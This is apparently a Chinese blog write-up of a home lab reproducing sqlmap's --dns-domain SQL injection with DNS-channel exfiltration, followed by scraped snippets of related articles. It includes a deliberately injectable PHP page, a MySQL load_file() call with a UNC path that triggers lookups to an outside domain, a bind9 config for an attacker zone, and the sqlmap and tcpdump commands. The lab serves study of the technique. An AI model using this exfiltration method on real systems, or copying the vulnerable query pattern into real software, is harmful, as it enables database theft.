sqlmap --dns-domain模拟实践

因为看到乌云的这一篇文章 http://drop.xbclub.org/static/drops/tips-5283.html 里面的提到的用sqlmap 的--dns-domain 进行dns 注入,所以想本地模拟一个环境进行测试。

首先dns注入

mysql> show variables like ‘%skip%‘;
+------------------------+-------+
| Variable_name          | Value |
+------------------------+-------+
| skip_external_locking  | ON    |
| skip_name_resolve      | OFF   |
| skip_networking        | OFF   |
| skip_show_database     | OFF   |
| slave_skip_errors      | OFF   |
| sql_slave_skip_counter | 0     |
+------------------------+-------+
6 rows in set

这里可以看到   | skip_name_resolve | OFF |

说明是可以进行域名解析

那么mysql 发起dns查询请求用什么语句呢

mysql> select load_file(‘\\\\fdsafdsfdssx.xxxx.com\\1.txt‘);
+-----------------------------------------------+
| load_file(‘\\\\fdsafdsfdssx.xxxx.com\\1.txt‘) |
+-----------------------------------------------+
| NULL                                          |
+-----------------------------------------------+
1 row in set

mysql> select
‘\\\\fdsafdsfdssx.xxxx.com\\1.txt‘;
+-------------------------------+
| \\fdsafdsfdssx.xxxx.com\1.txt |
+-------------------------------+
| \\fdsafdsfdssx.xxxx.com\1.txt |
+-------------------------------+
1 row in set

这里看到 \\xxxxx.com\1.txt 是不是联系到了获取共享文件SMB协议,因为这里是域名所以会发起dns查询查对应ip

那么我们就可以想到用

来获取数据。

接下来模拟测试环境 用 sqlmap --dns-domain 参数进行dns通道注入

A  ->  win8   -> web server && sqli

B  -> ubuntu 14 -> sqlmap

C  -> ubuntu    -> bind9 service

首先A运行php mysql apache 环境 随便写一个sql注入点

<?php
$con = mysql_connect("localhost","root","root") or die();
mysql_select_db("burp");
$id = $_GET[‘id‘];
$sql = "select host from burp where id=".$id; // 数字型
//$sql = "select `new` from `sql` where id="."‘".$id."‘"; // 字符型
echo $sql;
$res = mysql_query($sql);
echo "<br><br>";
echo "<b>";
while($rows = mysql_fetch_array($res,MYSQL_ASSOC)){
    echo $rows[‘host‘];
}
echo "<b>";
?>

相当明显的一个注入点

B sqlmap  不多说

C bind9 服务

配置如下

zone "attaker.com" {
        type master;
        file "/etc/bind/zones/attaker.com.db";
        };

zone "whoami.com"{
        type forward;
        forwarders {192.168.199.144;};   # B机器ip
};

# This is the zone definition for reverse DNS. replace 0.168.192 with your network address in reverse notation - e.g my network address is 192.168.0
zone "199.168.192.in-addr.arpa" {
     type master;
     file "/etc/bind/zones/rev.199.168.192.in-addr.arpa";
};

其中关键点就是forwarded 转发到B机器上

[email protected]:/etc/bind/zones# vi attaker.com.db
attaker.com.      IN      SOA     ns1.attaker.com. admin.attaker.com. (
        2006081401
        28800
        3600
        604800
        38400
        )
attaker.com.      IN      NS              ns1.attaker.com.
attaker.com.      IN      MX     10       mta.attaker.com.
                 IN      A       192.168.199.129
www              IN      A       192.168.199.129
mta              IN      A       192.168.199.129
ns1              IN      A       192.168.199.144
[email protected]:/etc/bind/zones# vi rev.199.168.192.in-addr.arpa
@ IN SOA ns1.attaker.com. admin.attaker.com. (
                        2006081401;
                        28800;
                        604800;
                        604800;
                        86400
)

                     IN    NS     ns1.attaker.com.
1                    IN    PTR    attaker.com

这样就配置好了,启动bind服务。

然后将win8的dns指向C的ip

启动sqlmap

python sqlmap.py -u "http://192.168.199.210/sqli.php?id=5000" --tech "B" --dns-domain "whoami.com" --dbs

同时b上面开启tcpdump

[email protected]:~# tcpdump -i eth0 -nt -s 500 port domain |grep whoami

发现A机器有发起dns请求过来

最后用burp抓一下sqlmap的数据

时间: 2024-11-05 12:35:57

sqlmap --dns-domain模拟实践的相关文章

互联网DNS架构模拟

本文模拟互联网的DNS架构,由1台客户端,1台运营商DNS服务器,1台根域服务器,1台.com域服务器,两台DNS服务器做主从,两台Web服务器,共8台机器构成,实现互联网上的DNS解析模拟. DNS服务的基础知识可参考上一篇博客http://blog.51cto.com/13695854/2132307 在此实验中配置完1台服务器就测试1台,以免故障堆积后不好排查,以下是各台服务器的配置   1.Web服务器1 #192.168.30.8 yum -y install httpd  #安装ht

XtraBackup备份恢复模拟实践

XtraBackup是Percona公司开发的一款很好用的数据备份工具,支持对InnoDB引擎数据的热备份,对MyISAM引擎的数据做备份时需要锁表,详细信息参见官网或其他资源.[XtracBackup官网] 1. 实验环境 1.1 系统环境: 操作系统:CentOS 6.5 64位 主机地址:10.0.0.26 主机名:mysql01 mysql版本:mysql-5.6.36 XtraBackup版本:2.4.12 2. 软件安装 2.1 安装mysql服务 MySQL服务详细安装过程请参考上

Internet全球DNS简单模拟实现

1.模拟互联网的搭建DNS服务 搭建流程:方便排错验证,优先搭建web服务器方便下个服务器的模拟验证 服务器搭建顺序 WEB服务 ---> 百度DNS主服务 ---> 百度DNS从服务 ---> 顶级域名DNS服务.com ---> 根DNS服务 ---> 企业转发DNS服务 ---> 企业DNS服务 ---> 企业客户机 web服务安装httpd服务实现web服务 DNS服务安装bind.bind-utils:实现DNS解析服务提供和调试功能 全局配置文件/et

从理论到实践,全方位认识DNS(理论篇)

对于 DNS(Domain Name System) 大家肯定不陌生,不就是用来将一个网站的域名转换为对应的IP吗.当我们发现可以上QQ但不能浏览网页时,我们会想到可能是域名服务器挂掉了:当我们用别人提供的hosts文件浏览到一个“不存在”的网页时,我们会了解到域名解析系统的脆弱. 然而关于DNS还有一大堆故事值得我们去倾听,去思考. DNS 源起 要想访问网络上的一台计算机,我们必须要知道它的IP地址,但是这些地址(比如243.185.187.39)只是一串数字,没有规律,因此我们很难记住.并

从理论到实践,全方位认识DNS

从理论到实践,全方位认识DNS 2015-11-23 程序员之家 作者:selfboot 原文:http://segmentfault.com/a/1190000003956853 对于 DNS(Domain Name System) 大家肯定不陌生,不就是用来将一个网站的域名转换为对应的IP吗.当我们发现可以上QQ但不能浏览网页时,我们会想到可能是域名服务器挂掉了:当我们用别人提供的hosts文件浏览到一个“不存在”的网页时,我们会了解到域名解析系统的脆弱. 然而关于DNS还有一大堆故事值得我

DNS 域名系统 (Domain Name System)

  DNS 域名系统 (Domain Name System) 许多应用层软件经常直接使用域名系统 DNS (Domain Name System),但计算机的用户只是间接而不是直接使用域名系统. 因特网采用层次结构的命名树作为主机的名字,并使用分布式的域名系统 DNS. 名字到 IP 地址的解析是由若干个域名服务器程序完成的.域名服务器程序在专设的结点上运行,运行该程序的机器称为域名服务器. 域名结构: 因特网采用了层次树状结构的命名方法. 任何一个连接在因特网上的主机或路由器,都有一个唯一的

DNS服务的协议讲解以及DNS服务搭建

1.什么是DNS服务? DNS服务是实现把主机名或域名解析为一个IP的服务,或者这样理解,当你搜索一个网址时,你需要键入刚网站对应的ip地址(因为计算机更理解数字啊),但是大量的ip地址作为网址搜索时,无疑是一件很麻烦的事情,好比通讯录一样,因此我们就需要通过一个容易记忆的字符串记录,而DNS服务就是完成字符串与ip地址之间的转换. 2.了解一些基础概念: FQDN:全限定域名,即逻辑上的主机名加上主机在域中的位置, TLD:顶级域名,有两个词组成,中间有小数点,全球一共13个根节点 分类: 国

DNS与bind

DNS dns是属于分布式系统管理庞大的dns数据库:我们在日常的运维活动中,虽然用到配置DNS服务器的机会很少,但是DNS对于我们各项服务,尤其是网页服务尤为重要. 一般情况下我们建立的DNS服务器适用于使用的: 一般是在内网中主机非常多,有很多服务器分别提供不同的服务:如搜索web,图片web,数据web,监控等,这些服务器所提供的用户名与外网联系不大(一般有反向代理,负载均衡在前面),同时为了做好自动化运维,需要每个主机的主机名,建立DNS就是为了更好的管理 DNS  domain nam

linux架构学习第二十四天-DNS详解及bind搭建各种DNS测试

内容: 一.DNS 1.域名系统概述 2.域名的结构 3.域名服务器 4.域名解析过程 5.域名服务器的资源记录(resource record RR) 二.bind搭建DNS服务器 1.bind的安装 2.搭建DNS服务器 3.搭建主从DNS服务器 4.实现DNS子域 5.实现DNS视图view(智能DNS) 一.DNS 1.域名系统概述 域名系统DNS(Domain Name System)是因特网使用的命名系统,用来把便于人们使用的机器名字转换成为IP地址.域名系统其实就是名字系统.为什么